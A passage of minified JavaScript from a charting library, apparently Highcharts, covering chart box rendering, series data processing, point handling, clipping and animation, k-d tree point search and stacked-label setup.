a=this.options.chart,b=this.renderer,c=this.chartWidth,d=this.chartHeight,e=this.chartBackground,f=this.plotBackground,g=this.plotBorder,h=this.plotBGImage,i=a.borderWidth||0,k=a.backgroundColor,j=a.plotBackgroundColor,m=a.plotBackgroundImage,l=a.plotBorderWidth||0,n,p=this.plotLeft,o=this.plotTop,q=this.plotWidth,y=this.plotHeight,x=this.plotBox,s=this.clipRect,v=\nthis.clipBox;n=i+(a.shadow?8:0);if(i||k)if(e)e.animate(e.crisp({width:c-n,height:d-n}));else{e={fill:k||\"none\"};if(i)e.stroke=a.borderColor,e[\"stroke-width\"]=i;this.chartBackground=b.rect(n/2,n/2,c-n,d-n,a.borderRadius,i).attr(e).addClass(\"highcharts-background\").add().shadow(a.shadow)}if(j)f?f.animate(x):this.plotBackground=b.rect(p,o,q,y,0).attr({fill:j}).add().shadow(a.plotShadow);if(m)h?h.animate(x):this.plotBGImage=b.image(m,p,o,q,y).add();s?s.animate({width:v.width,height:v.height}):this.clipRect=\nb.clipRect(v);if(l)g?g.animate(g.crisp({x:p,y:o,width:q,height:y,strokeWidth:-l})):this.plotBorder=b.rect(p,o,q,y,0,-l).attr({stroke:a.plotBorderColor,\"stroke-width\":l,fill:\"none\",zIndex:1}).add();this.isDirtyBox=!1},propFromSeries:function(){var a=this,b=a.options.chart,c,d=a.options.series,e,f;o([\"inverted\",\"angular\",\"polar\"],function(g){c=I[b.type||b.defaultSeriesType];f=a[g]||b[g]||c&&c.prototype[g];for(e=d&&d.length;!f&&e--;)(c=I[d[e].type])&&c.prototype[g]&&(f=!0);a[g]=f})},linkSeries:function(){var a=\nthis,b=a.series;o(b,function(a){a.linkedSeries.length=0});o(b,function(b){var d=b.options.linkedTo;if(ya(d)&&(d=d===\":previous\"?a.series[b.index-1]:a.get(d)))d.linkedSeries.push(b),b.linkedParent=d,b.visible=p(b.options.visible,d.options.visible,b.visible)})},renderSeries:function(){o(this.series,function(a){a.translate();a.render()})},renderLabels:function(){var a=this,b=a.options.labels;b.items&&o(b.items,function(c){var d=v(b.style,c.style),e=F(d.left)+a.plotLeft,f=F(d.top)+a.plotTop+12;delete d.left;\ndelete d.top;a.renderer.text(c.html,e,f).attr({zIndex:2}).css(d).add()})},render:function(){var a=this.axes,b=this.renderer,c=this.options,d,e,f,g;this.setTitle();this.legend=new pb(this,c.legend);this.getStacks&&this.getStacks();this.getMargins(!0);this.setChartSize();d=this.plotWidth;e=this.plotHeight-=21;o(a,function(a){a.setScale()});this.getAxisMargins();f=d/this.plotWidth>1.1;g=e/this.plotHeight>1.05;if(f||g)this.maxTicks=null,o(a,function(a){(a.horiz&&f||!a.horiz&&g)&&a.setTickInterval(!0)}),\nthis.getMargins();this.drawChartBox();this.hasCartesianSeries&&o(a,function(a){a.visible&&a.render()});if(!this.seriesGroup)this.seriesGroup=b.g(\"series-group\").attr({zIndex:3}).add();this.renderSeries();this.renderLabels();this.showCredits(c.credits);this.hasRendered=!0},showCredits:function(a){if(a.enabled&&!this.credits)this.credits=this.renderer.text(a.text,0,0).on(\"click\",function(){if(a.href)C.location.href=a.href}).attr({align:a.position.align,zIndex:8}).css(a.style).add().align(a.position)},\ndestroy:function(){var a=this,b=a.axes,c=a.series,d=a.container,e,f=d&&d.parentNode;H(a,\"destroy\");W[a.index]=B;eb--;a.renderTo.removeAttribute(\"data-highcharts-chart\");U(a);for(e=b.length;e--;)b[e]=b[e].destroy();for(e=c.length;e--;)c[e]=c[e].destroy();o(\"title,subtitle,chartBackground,plotBackground,plotBGImage,plotBorder,seriesGroup,clipRect,credits,pointer,scroller,rangeSelector,legend,resetZoomButton,tooltip,renderer\".split(\",\"),function(b){var c=a[b];c&&c.destroy&&(a[b]=c.destroy())});if(d)d.innerHTML=\n\"\",U(d),f&&Ua(d);for(e in a)delete a[e]},isReadyToRender:function(){var a=this;return!da&&C==C.top&&z.readyState!==\"complete\"||ha&&!C.canvg?(ha?Ob.push(function(){a.firstRender()},a.options.global.canvasToolsURL):z.attachEvent(\"onreadystatechange\",function(){z.detachEvent(\"onreadystatechange\",a.firstRender);z.readyState===\"complete\"&&a.firstRender()}),!1):!0},firstRender:function(){var a=this,b=a.options,c=a.callback;if(a.isReadyToRender()){a.getContainer();H(a,\"init\");a.resetMargins();a.setChartSize();\na.propFromSeries();a.getAxes();o(b.series||[],function(b){a.initSeries(b)});a.linkSeries();H(a,\"beforeRender\");if(u.Pointer)a.pointer=new Ya(a,b);a.render();a.renderer.draw();c&&c.apply(a,[a]);o(a.callbacks,function(b){a.index!==B&&b.apply(a,[a])});H(a,\"load\");a.cloneRenderTo(!0)}},splashArray:function(a,b){var c=b[a],c=Z(c)?c:[c,c,c,c];return[p(b[a+\"Top\"],c[0]),p(b[a+\"Right\"],c[1]),p(b[a+\"Bottom\"],c[2]),p(b[a+\"Left\"],c[3])]}};var Cb=u.CenteredSeriesMixin={getCenter:function(){var a=this.options,\nb=this.chart,c=2*(a.slicedOffset||0),d=b.plotWidth-2*c,b=b.plotHeight-2*c,e=a.center,e=[p(e[0],\"50%\"),p(e[1],\"50%\"),a.size||\"100%\",a.innerSize||0],f=E(d,b),g,h;for(g=0;g<4;++g)h=e[g],a=g<2||g===2&&/%$/.test(h),e[g]=(/%$/.test(h)?[d,b,f,e[2]][g]*parseFloat(h)/100:parseFloat(h))+(a?c:0);e[3]>e[2]&&(e[3]=e[2]);return e}},Ia=function(){};Ia.prototype={init:function(a,b,c){this.series=a;this.color=a.color;this.applyOptions(b,c);this.pointAttr={};if(a.options.colorByPoint&&(b=a.options.colors||a.chart.options.colors,\nthis.color=this.color||b[a.colorCounter++],a.colorCounter===b.length))a.colorCounter=0;a.chart.pointCount++;return this},applyOptions:function(a,b){var c=this.series,d=c.options.pointValKey||c.pointValKey,a=Ia.prototype.optionsToObject.call(this,a);v(this,a);this.options=this.options?v(this.options,a):a;if(d)this.y=this[d];if(this.x===B&&c)this.x=b===B?c.autoIncrement():b;return this},optionsToObject:function(a){var b={},c=this.series,d=c.options.keys,e=d||c.pointArrayMap||[\"y\"],f=e.length,g=0,h=\n0;if(typeof a===\"number\"||a===null)b[e[0]]=a;else if(Ja(a)){if(!d&&a.length>f){c=typeof a[0];if(c===\"string\")b.name=a[0];else if(c===\"number\")b.x=a[0];g++}for(;h<f;){if(!d||a[g]!==void 0)b[e[h]]=a[g];g++;h++}}else if(typeof a===\"object\"){b=a;if(a.dataLabels)c._hasPointLabels=!0;if(a.marker)c._hasPointMarkers=!0}return b},destroy:function(){var a=this.series.chart,b=a.hoverPoints,c;a.pointCount--;if(b&&(this.setState(),ma(b,this),!b.length))a.hoverPoints=null;if(this===a.hoverPoint)this.onMouseOut();\nif(this.graphic||this.dataLabel)U(this),this.destroyElements();this.legendItem&&a.legend.destroyItem(this);for(c in this)this[c]=null},destroyElements:function(){for(var a=[\"graphic\",\"dataLabel\",\"dataLabelUpper\",\"connector\",\"shadowGroup\"],b,c=6;c--;)b=a[c],this[b]&&(this[b]=this[b].destroy())},getLabelConfig:function(){return{x:this.category,y:this.y,color:this.color,key:this.name||this.category,series:this.series,point:this,percentage:this.percentage,total:this.total||this.stackTotal}},tooltipFormatter:function(a){var b=\nthis.series,c=b.tooltipOptions,d=p(c.valueDecimals,\"\"),e=c.valuePrefix||\"\",f=c.valueSuffix||\"\";o(b.pointArrayMap||[\"y\"],function(b){b=\"{point.\"+b;if(e||f)a=a.replace(b+\"}\",e+b+\"}\"+f);a=a.replace(b+\"}\",b+\":,.\"+d+\"f}\")});return La(a,{point:this,series:this.series})},firePointEvent:function(a,b,c){var d=this,e=this.series.options;(e.point.events[a]||d.options&&d.options.events&&d.options.events[a])&&this.importEvents();a===\"click\"&&e.allowPointSelect&&(c=function(a){d.select&&d.select(null,a.ctrlKey||\na.metaKey||a.shiftKey)});H(this,a,b,c)},visible:!0};var R=u.Series=function(){};R.prototype={isCartesian:!0,type:\"line\",pointClass:Ia,sorted:!0,requireSorting:!0,pointAttrToOptions:{stroke:\"lineColor\",\"stroke-width\":\"lineWidth\",fill:\"fillColor\",r:\"radius\"},directTouch:!1,axisTypes:[\"xAxis\",\"yAxis\"],colorCounter:0,parallelArrays:[\"x\",\"y\"],init:function(a,b){var c=this,d,e,f=a.series,g=function(a,b){return p(a.options.index,a._i)-p(b.options.index,b._i)};c.chart=a;c.options=b=c.setOptions(b);c.linkedSeries=\n[];c.bindAxes();v(c,{name:b.name,state:\"\",pointAttr:{},visible:b.visible!==!1,selected:b.selected===!0});if(ha)b.animation=!1;e=b.events;for(d in e)N(c,d,e[d]);if(e&&e.click||b.point&&b.point.events&&b.point.events.click||b.allowPointSelect)a.runTrackerClick=!0;c.getColor();c.getSymbol();o(c.parallelArrays,function(a){c[a+\"Data\"]=[]});c.setData(b.data,!1);if(c.isCartesian)a.hasCartesianSeries=!0;f.push(c);c._i=f.length-1;jb(f,g);this.yAxis&&jb(this.yAxis.series,g);o(f,function(a,b){a.index=b;a.name=\na.name||\"Series \"+(b+1)})},bindAxes:function(){var a=this,b=a.options,c=a.chart,d;o(a.axisTypes||[],function(e){o(c[e],function(c){d=c.options;if(b[e]===d.index||b[e]!==B&&b[e]===d.id||b[e]===B&&d.index===0)c.series.push(a),a[e]=c,c.isDirty=!0});!a[e]&&a.optionalAxis!==e&&Y(18,!0)})},updateParallelArrays:function(a,b){var c=a.series,d=arguments;o(c.parallelArrays,typeof b===\"number\"?function(d){var f=d===\"y\"&&c.toYData?c.toYData(a):a[d];c[d+\"Data\"][b]=f}:function(a){Array.prototype[b].apply(c[a+\"Data\"],\nArray.prototype.slice.call(d,2))})},autoIncrement:function(){var a=this.options,b=this.xIncrement,c,d=a.pointIntervalUnit,b=p(b,a.pointStart,0);this.pointInterval=c=p(this.pointInterval,a.pointInterval,1);if(d===\"month\"||d===\"year\")a=new oa(b),a=d===\"month\"?+a[yb](a[ab]()+c):+a[zb](a[bb]()+c),c=a-b;this.xIncrement=b+c;return b},getSegments:function(){var a=-1,b=[],c,d=this.points,e=d.length;if(e)if(this.options.connectNulls){for(c=e;c--;)d[c].y===null&&d.splice(c,1);d.length&&(b=[d])}else o(d,function(c,\ng){c.y===null?(g>a+1&&b.push(d.slice(a+1,g)),a=g):g===e-1&&b.push(d.slice(a+1,g+1))});this.segments=b},setOptions:function(a){var b=this.chart,c=b.options.plotOptions,b=b.userOptions||{},d=b.plotOptions||{},e=c[this.type];this.userOptions=a;c=D(e,c.series,a);this.tooltipOptions=D(O.tooltip,O.plotOptions[this.type].tooltip,b.tooltip,d.series&&d.series.tooltip,d[this.type]&&d[this.type].tooltip,a.tooltip);e.marker===null&&delete c.marker;this.zoneAxis=c.zoneAxis;a=this.zones=(c.zones||[]).slice();if((c.negativeColor||\nc.negativeFillColor)&&!c.zones)a.push({value:c[this.zoneAxis+\"Threshold\"]||c.threshold||0,color:c.negativeColor,fillColor:c.negativeFillColor});a.length&&q(a[a.length-1].value)&&a.push({color:this.color,fillColor:this.fillColor});return c},getCyclic:function(a,b,c){var d=this.userOptions,e=\"_\"+a+\"Index\",f=a+\"Counter\";b||(q(d[e])?b=d[e]:(d[e]=b=this.chart[f]%c.length,this.chart[f]+=1),b=c[b]);this[a]=b},getColor:function(){this.options.colorByPoint?this.options.color=null:this.getCyclic(\"color\",this.options.color||\nba[this.type].color,this.chart.options.colors)},getSymbol:function(){var a=this.options.marker;this.getCyclic(\"symbol\",a.symbol,this.chart.options.symbols);if(/^url/.test(this.symbol))a.radius=0},drawLegendSymbol:K.drawLineMarker,setData:function(a,b,c,d){var e=this,f=e.points,g=f&&f.length||0,h,i=e.options,k=e.chart,j=null,m=e.xAxis,l=m&&!!m.categories,n=i.turboThreshold,t=this.xData,r=this.yData,s=(h=e.pointArrayMap)&&h.length,a=a||[];h=a.length;b=p(b,!0);if(d!==!1&&h&&g===h&&!e.cropped&&!e.hasGroupedData&&\ne.visible)o(a,function(a,b){f[b].update&&a!==i.data[b]&&f[b].update(a,!1,null,!1)});else{e.xIncrement=null;e.colorCounter=0;o(this.parallelArrays,function(a){e[a+\"Data\"].length=0});if(n&&h>n){for(c=0;j===null&&c<h;)j=a[c],c++;if(ka(j)){l=p(i.pointStart,0);j=p(i.pointInterval,1);for(c=0;c<h;c++)t[c]=l,r[c]=a[c],l+=j;e.xIncrement=l}else if(Ja(j))if(s)for(c=0;c<h;c++)j=a[c],t[c]=j[0],r[c]=j.slice(1,s+1);else for(c=0;c<h;c++)j=a[c],t[c]=j[0],r[c]=j[1];else Y(12)}else for(c=0;c<h;c++)if(a[c]!==B&&(j={series:e},\ne.pointClass.prototype.applyOptions.apply(j,[a[c]]),e.updateParallelArrays(j,c),l&&q(j.name)))m.names[j.x]=j.name;ya(r[0])&&Y(14,!0);e.data=[];e.options.data=a;for(c=g;c--;)f[c]&&f[c].destroy&&f[c].destroy();if(m)m.minRange=m.userMinRange;e.isDirty=e.isDirtyData=k.isDirtyBox=!0;c=!1}i.legendType===\"point\"&&(this.processData(),this.generatePoints());b&&k.redraw(c)},processData:function(a){var b=this.xData,c=this.yData,d=b.length,e;e=0;var f,g,h=this.xAxis,i,k=this.options;i=k.cropThreshold;var k=this.getExtremesFromAll||\nk.getExtremesFromAll,j=this.isCartesian,m,l;if(j&&!this.isDirty&&!h.isDirty&&!this.yAxis.isDirty&&!a)return!1;if(h)a=h.getExtremes(),m=a.min,l=a.max;if(j&&this.sorted&&!k&&(!i||d>i||this.forceCrop))if(b[d-1]<m||b[0]>l)b=[],c=[];else if(b[0]<m||b[d-1]>l)e=this.cropData(this.xData,this.yData,m,l),b=e.xData,c=e.yData,e=e.start,f=!0;for(i=b.length-1;i>=0;i--)d=b[i]-b[i-1],d>0&&(g===B||d<g)?g=d:d<0&&this.requireSorting&&Y(15);this.cropped=f;this.cropStart=e;this.processedXData=b;this.processedYData=c;\nthis.closestPointRange=g},cropData:function(a,b,c,d){var e=a.length,f=0,g=e,h=p(this.cropShoulder,1),i;for(i=0;i<e;i++)if(a[i]>=c){f=s(0,i-h);break}for(c=i;c<e;c++)if(a[c]>d){g=c+h;break}return{xData:a.slice(f,g),yData:b.slice(f,g),start:f,end:g}},generatePoints:function(){var a=this.options.data,b=this.data,c,d=this.processedXData,e=this.processedYData,f=this.pointClass,g=d.length,h=this.cropStart||0,i,k=this.hasGroupedData,j,m=[],l;if(!b&&!k)b=[],b.length=a.length,b=this.data=b;for(l=0;l<g;l++)i=\nh+l,k?m[l]=(new f).init(this,[d[l]].concat(ta(e[l]))):(b[i]?j=b[i]:a[i]!==B&&(b[i]=j=(new f).init(this,a[i],d[l])),m[l]=j),m[l].index=i;if(b&&(g!==(c=b.length)||k))for(l=0;l<c;l++)if(l===h&&!k&&(l+=g),b[l])b[l].destroyElements(),b[l].plotX=B;this.data=b;this.points=m},getExtremes:function(a){var b=this.yAxis,c=this.processedXData,d,e=[],f=0;d=this.xAxis.getExtremes();var g=d.min,h=d.max,i,k,j,m,a=a||this.stackedYData||this.processedYData;d=a.length;for(m=0;m<d;m++)if(k=c[m],j=a[m],i=j!==null&&j!==\nB&&(!b.isLog||j.length||j>0),k=this.getExtremesFromAll||this.options.getExtremesFromAll||this.cropped||(c[m+1]||k)>=g&&(c[m-1]||k)<=h,i&&k)if(i=j.length)for(;i--;)j[i]!==null&&(e[f++]=j[i]);else e[f++]=j;this.dataMin=Sa(e);this.dataMax=Da(e)},translate:function(){this.processedXData||this.processData();this.generatePoints();for(var a=this.options,b=a.stacking,c=this.xAxis,d=c.categories,e=this.yAxis,f=this.points,g=f.length,h=!!this.modifyValue,i=a.pointPlacement,k=i===\"between\"||ka(i),j=a.threshold,\nm=a.startFromThreshold?j:0,l,n,t,o,v=Number.MAX_VALUE,a=0;a<g;a++){var y=f[a],x=y.x,w=y.y;n=y.low;var u=b&&e.stacks[(this.negStacks&&w<(m?0:j)?\"-\":\"\")+this.stackKey];if(e.isLog&&w!==null&&w<=0)y.y=w=null,Y(10);y.plotX=l=E(s(-1E5,c.translate(x,0,0,0,1,i,this.type===\"flags\")),1E5);if(b&&this.visible&&u&&u[x])o=this.getStackIndicator(o,x,this.index),u=u[x],w=u.points[o.key],n=w[0],w=w[1],n===m&&(n=p(j,e.min)),e.isLog&&n<=0&&(n=null),y.total=y.stackTotal=u.total,y.percentage=u.total&&y.y/u.total*100,\ny.stackY=w,u.setOffset(this.pointXOffset||0,this.barW||0);y.yBottom=q(n)?e.translate(n,0,1,0,1):null;h&&(w=this.modifyValue(w,y));y.plotY=n=typeof w===\"number\"&&w!==Infinity?E(s(-1E5,e.translate(w,0,1,0,1)),1E5):B;y.isInside=n!==B&&n>=0&&n<=e.len&&l>=0&&l<=c.len;y.clientX=k?c.translate(x,0,0,0,1):l;y.negative=y.y<(j||0);y.category=d&&d[y.x]!==B?d[y.x]:y.x;a&&(v=E(v,P(l-t)));t=l}this.closestPointRangePx=v;this.getSegments()},setClip:function(a){var b=this.chart,c=this.options,d=b.renderer,e=b.inverted,\nf=this.clipBox,g=f||b.clipBox,h=this.sharedClipKey||[\"_sharedClip\",a&&a.duration,a&&a.easing,g.height,c.xAxis,c.yAxis].join(\",\"),i=b[h],k=b[h+\"m\"];if(!i){if(a)g.width=0,b[h+\"m\"]=k=d.clipRect(-99,e?-b.plotLeft:-b.plotTop,99,e?b.chartWidth:b.chartHeight);b[h]=i=d.clipRect(g)}a&&(i.count+=1);if(c.clip!==!1)this.group.clip(a||f?i:b.clipRect),this.markerGroup.clip(k),this.sharedClipKey=h;a||(i.count-=1,i.count<=0&&h&&b[h]&&(f||(b[h]=b[h].destroy()),b[h+\"m\"]&&(b[h+\"m\"]=b[h+\"m\"].destroy())))},animate:function(a){var b=\nthis.chart,c=this.options.animation,d;if(c&&!Z(c))c=ba[this.type].animation;a?this.setClip(c):(d=this.sharedClipKey,(a=b[d])&&a.animate({width:b.plotSizeX},c),b[d+\"m\"]&&b[d+\"m\"].animate({width:b.plotSizeX+99},c),this.animate=null)},afterAnimate:function(){this.setClip();H(this,\"afterAnimate\")},drawPoints:function(){var a,b=this.points,c=this.chart,d,e,f,g,h,i,k,j,m=this.options.marker,l=this.pointAttr[\"\"],n,o,r,q=this.markerGroup,s=p(m.enabled,this.xAxis.isRadial,this.closestPointRangePx>2*m.radius);\nif(m.enabled!==!1||this._hasPointMarkers)for(f=b.length;f--;)if(g=b[f],d=S(g.plotX),e=g.plotY,j=g.graphic,n=g.marker||{},o=!!g.marker,a=s&&n.enabled===B||n.enabled,r=g.isInside,a&&e!==B&&!isNaN(e)&&g.y!==null)if(a=g.pointAttr[g.selected?\"select\":\"\"]||l,h=a.r,i=p(n.symbol,this.symbol),k=i.indexOf(\"url\")===0,j)j[r?\"show\":\"hide\"](!0).animate(v({x:d-h,y:e-h},j.symbolName?{width:2*h,height:2*h}:{}));else{if(r&&(h>0||k))g.graphic=c.renderer.symbol(i,d-h,e-h,2*h,2*h,o?n:m).attr(a).add(q)}else if(j)g.graphic=\nj.destroy()},convertAttribs:function(a,b,c,d){var e=this.pointAttrToOptions,f,g,h={},a=a||{},b=b||{},c=c||{},d=d||{};for(f in e)g=e[f],h[f]=p(a[g],b[f],c[f],d[f]);return h},getAttribs:function(){var a=this,b=a.options,c=ba[a.type].marker?b.marker:b,d=c.states,e=d.hover,f,g=a.color,h=a.options.negativeColor;f={stroke:g,fill:g};var i=a.points||[],k,j,m=[],l=a.pointAttrToOptions;k=a.hasPointSpecificOptions;var n=c.lineColor,t=c.fillColor;j=b.turboThreshold;var r=a.zones,s=a.zoneAxis||\"y\",y;b.marker?\n(e.radius=e.radius||c.radius+e.radiusPlus,e.lineWidth=e.lineWidth||c.lineWidth+e.lineWidthPlus):(e.color=e.color||ia(e.color||g).brighten(e.brightness).get(),e.negativeColor=e.negativeColor||ia(e.negativeColor||h).brighten(e.brightness).get());m[\"\"]=a.convertAttribs(c,f);o([\"hover\",\"select\"],function(b){m[b]=a.convertAttribs(d[b],m[\"\"])});a.pointAttr=m;g=i.length;if(!j||g<j||k)for(;g--;){j=i[g];if((c=j.options&&j.options.marker||j.options)&&c.enabled===!1)c.radius=0;if(r.length){k=0;for(f=r[k];j[s]>=\nf.value;)f=r[++k];j.color=j.fillColor=p(f.color,a.color)}k=b.colorByPoint||j.color;if(j.options)for(y in l)q(c[l[y]])&&(k=!0);if(k){c=c||{};k=[];d=c.states||{};f=d.hover=d.hover||{};if(!b.marker||j.negative&&!f.fillColor&&!e.fillColor)f[a.pointAttrToOptions.fill]=f.color||!j.options.color&&e[j.negative&&h?\"negativeColor\":\"color\"]||ia(j.color).brighten(f.brightness||e.brightness).get();f={color:j.color};if(!t)f.fillColor=j.color;if(!n)f.lineColor=j.color;c.hasOwnProperty(\"color\")&&!c.color&&delete c.color;\nk[\"\"]=a.convertAttribs(v(f,c),m[\"\"]);k.hover=a.convertAttribs(d.hover,m.hover,k[\"\"]);k.select=a.convertAttribs(d.select,m.select,k[\"\"])}else k=m;j.pointAttr=k}},destroy:function(){var a=this,b=a.chart,c=/AppleWebKit\\/533/.test(Aa),d,e=a.data||[],f,g,h;H(a,\"destroy\");U(a);o(a.axisTypes||[],function(b){if(h=a[b])ma(h.series,a),h.isDirty=h.forceRedraw=!0});a.legendItem&&a.chart.legend.destroyItem(a);for(d=e.length;d--;)(f=e[d])&&f.destroy&&f.destroy();a.points=null;clearTimeout(a.animationTimeout);for(g in a)a[g]instanceof\nQ&&!a[g].survive&&(d=c&&g===\"group\"?\"hide\":\"destroy\",a[g][d]());if(b.hoverSeries===a)b.hoverSeries=null;ma(b.series,a);for(g in a)delete a[g]},getSegmentPath:function(a){var b=this,c=[],d=b.options.step;o(a,function(e,f){var g=e.plotX,h=e.plotY,i;b.getPointSpline?c.push.apply(c,b.getPointSpline(a,e,f)):(c.push(f?\"L\":\"M\"),d&&f&&(i=a[f-1],d===\"right\"?c.push(i.plotX,h,\"L\"):d===\"center\"?c.push((i.plotX+g)/2,i.plotY,\"L\",(i.plotX+g)/2,h,\"L\"):c.push(g,i.plotY,\"L\")),c.push(e.plotX,e.plotY))});return c},getGraphPath:function(){var a=\nthis,b=[],c,d=[];o(a.segments,function(e){c=a.getSegmentPath(e);e.length>1?b=b.concat(c):d.push(e[0])});a.singlePoints=d;return a.graphPath=b},drawGraph:function(){var a=this,b=this.options,c=[[\"graph\",b.lineColor||this.color,b.dashStyle]],d=b.lineWidth,e=b.linecap!==\"square\",f=this.getGraphPath(),g=this.fillGraph&&this.color||\"none\";o(this.zones,function(d,e){c.push([\"zoneGraph\"+e,d.color||a.color,d.dashStyle||b.dashStyle])});o(c,function(c,i){var k=c[0],j=a[k];if(j)j.animate({d:f});else if((d||\ng)&&f.length)j={stroke:c[1],\"stroke-width\":d,fill:g,zIndex:1},c[2]?j.dashstyle=c[2]:e&&(j[\"stroke-linecap\"]=j[\"stroke-linejoin\"]=\"round\"),a[k]=a.chart.renderer.path(f).attr(j).add(a.group).shadow(i<2&&b.shadow)})},applyZones:function(){var a=this,b=this.chart,c=b.renderer,d=this.zones,e,f,g=this.clips||[],h,i=this.graph,k=this.area,j=s(b.chartWidth,b.chartHeight),m=this[(this.zoneAxis||\"y\")+\"Axis\"],l,n=m.reversed,t=b.inverted,r=m.horiz,q,y,x,v=!1;if(d.length&&(i||k)&&m.min!==B)i&&i.hide(),k&&k.hide(),\nl=m.getExtremes(),o(d,function(d,o){e=n?r?b.plotWidth:0:r?0:m.toPixels(l.min);e=E(s(p(f,e),0),j);f=E(s(A(m.toPixels(p(d.value,l.max),!0)),0),j);v&&(e=f=m.toPixels(l.max));q=Math.abs(e-f);y=E(e,f);x=s(e,f);if(m.isXAxis){if(h={x:t?x:y,y:0,width:q,height:j},!r)h.x=b.plotHeight-h.x}else if(h={x:0,y:t?x:y,width:j,height:q},r)h.y=b.plotWidth-h.y;b.inverted&&c.isVML&&(h=m.isXAxis?{x:0,y:n?y:x,height:h.width,width:b.chartWidth}:{x:h.y-b.plotLeft-b.spacingBox.x,y:0,width:h.height,height:b.chartHeight});g[o]?\ng[o].animate(h):(g[o]=c.clipRect(h),i&&a[\"zoneGraph\"+o].clip(g[o]),k&&a[\"zoneArea\"+o].clip(g[o]));v=d.value>l.max}),this.clips=g},invertGroups:function(){function a(){var a={width:b.yAxis.len,height:b.xAxis.len};o([\"group\",\"markerGroup\"],function(c){b[c]&&b[c].attr(a).invert()})}var b=this,c=b.chart;if(b.xAxis)N(c,\"resize\",a),N(b,\"destroy\",function(){U(c,\"resize\",a)}),a(),b.invertGroups=a},plotGroup:function(a,b,c,d,e){var f=this[a],g=!f;g&&(this[a]=f=this.chart.renderer.g(b).attr({zIndex:d||0.1}).add(e),\nf.addClass(\"highcharts-series-\"+this.index));f.attr({visibility:c})[g?\"attr\":\"animate\"](this.getPlotBox());return f},getPlotBox:function(){var a=this.chart,b=this.xAxis,c=this.yAxis;if(a.inverted)b=c,c=this.xAxis;return{translateX:b?b.left:a.plotLeft,translateY:c?c.top:a.plotTop,scaleX:1,scaleY:1}},render:function(){var a=this,b=a.chart,c,d=a.options,e=(c=d.animation)&&!!a.animate&&b.renderer.isSVG&&p(c.duration,500)||0,f=a.visible?\"inherit\":\"hidden\",g=d.zIndex,h=a.hasRendered,i=b.seriesGroup;c=a.plotGroup(\"group\",\n\"series\",f,g,i);a.markerGroup=a.plotGroup(\"markerGroup\",\"markers\",f,g,i);e&&a.animate(!0);a.getAttribs();c.inverted=a.isCartesian?b.inverted:!1;a.drawGraph&&(a.drawGraph(),a.applyZones());o(a.points,function(a){a.redraw&&a.redraw()});a.drawDataLabels&&a.drawDataLabels();a.visible&&a.drawPoints();a.drawTracker&&a.options.enableMouseTracking!==!1&&a.drawTracker();b.inverted&&a.invertGroups();d.clip!==!1&&!a.sharedClipKey&&!h&&c.clip(b.clipRect);e&&a.animate();if(!h)a.animationTimeout=Qa(function(){a.afterAnimate()},\ne);a.isDirty=a.isDirtyData=!1;a.hasRendered=!0},redraw:function(){var a=this.chart,b=this.isDirtyData,c=this.isDirty,d=this.group,e=this.xAxis,f=this.yAxis;d&&(a.inverted&&d.attr({width:a.plotWidth,height:a.plotHeight}),d.animate({translateX:p(e&&e.left,a.plotLeft),translateY:p(f&&f.top,a.plotTop)}));this.translate();this.render();b&&H(this,\"updatedData\");(c||b)&&delete this.kdTree},kdDimensions:1,kdAxisArray:[\"clientX\",\"plotY\"],searchPoint:function(a,b){var c=this.xAxis,d=this.yAxis,e=this.chart.inverted;\nreturn this.searchKDTree({clientX:e?c.len-a.chartY+c.pos:a.chartX-c.pos,plotY:e?d.len-a.chartX+d.pos:a.chartY-d.pos},b)},buildKDTree:function(){function a(c,e,f){var g,h;if(h=c&&c.length)return g=b.kdAxisArray[e%f],c.sort(function(a,b){return a[g]-b[g]}),h=Math.floor(h/2),{point:c[h],left:a(c.slice(0,h),e+1,f),right:a(c.slice(h+1),e+1,f)}}var b=this,c=b.kdDimensions;delete b.kdTree;Qa(function(){var d=Oa(b.points||[],function(a){return a.y!==null});b.kdTree=a(d,c,c)},b.options.kdNow?0:1)},searchKDTree:function(a,\nb){function c(a,b,k,j){var m=b.point,l=d.kdAxisArray[k%j],n,p,o=m;p=q(a[e])&&q(m[e])?Math.pow(a[e]-m[e],2):null;n=q(a[f])&&q(m[f])?Math.pow(a[f]-m[f],2):null;n=(p||0)+(n||0);m.dist=q(n)?Math.sqrt(n):Number.MAX_VALUE;m.distX=q(p)?Math.sqrt(p):Number.MAX_VALUE;l=a[l]-m[l];n=l<0?\"left\":\"right\";p=l<0?\"right\":\"left\";b[n]&&(n=c(a,b[n],k+1,j),o=n[g]<o[g]?n:m);b[p]&&Math.sqrt(l*l)<o[g]&&(a=c(a,b[p],k+1,j),o=a[g]<o[g]?a:o);return o}var d=this,e=this.kdAxisArray[0],f=this.kdAxisArray[1],g=b?\"distX\":\"dist\";\nthis.kdTree||this.buildKDTree();if(this.kdTree)return c(a,this.kdTree,this.kdDimensions,this.kdDimensions)}};Kb.prototype={destroy:function(){Ta(this,this.axis)},render:function(a){var b=this.options,c=b.format,c=c?La(c,this):b.formatter.call(this);this.label?this.label.attr({text:c,visibility:\"hidden\"}):this.label=this.axis.chart.renderer.text(c,null,null,b.useHTML).css(b.style).attr({align:this.textAlign,rotation:b.rotation,visibility:\"hidden\"}).add(a)},setOffset:function(a,b){var c=this.axis,d=\nc.chart,e=d.inverted,f=c.reversed,f=this.isNegative&&!f||!this.isNegative&&f,g=c.translate(c.usePercentage?100:this.total,0,0,0,1),c=c.translate(0),c=P(g-c),h=d.xAxis[0].translate(this.x)+a,i=d.plotHeight,f={x:e?f?g:g-c:h,y:e?i-h-b:f?i-g-c:i-g,width:e?c:b,height:e?b:c};if(e=this.label)e.align(this.alignOptions,null,f),f=e.alignAttr,e[this.options.crop===!1||d.isInsidePlot(f.x,f.y)?\"show\":\"hide\"](!0)}};hb.prototype.getStacks=function(){var a=this;o(a.yAxis,function(a){if(a.stacks&&a.hasVisibleSeries)a.oldStacks=\na.stacks});o(a.series,function(b){if(b.options.stacking&&(b.visible===!0||a.options.chart.ignoreHiddenSeries===!1))b.stackKey=b.type+p(b.options.stack,\"\")})};ja.prototype.buildStacks=function(){var a=this.series,b=p(this.options.reversedStacks,!0),c=a.length;if(!this.isXAxis){for(this.usePercentage=!1;c--;)a[b?c:a.length-c-1].setStackedPoints();if(this.usePercentage)for(c=0;c<a.length;c++)a[c].setPercentStacks()}};ja.prototype.renderStackTotals=function(){var a=this.chart,b=a.renderer,c=this.stacks,\nd,e,f=this.stackTotalGroup;if(!f)this.stackTotalGroup=f=b.g(\"stack-labels\").attr({visibility:\"visible\",zIndex:6}).add();f.translate(a.plotLeft,a.plotTop);for(d in c)for(e in 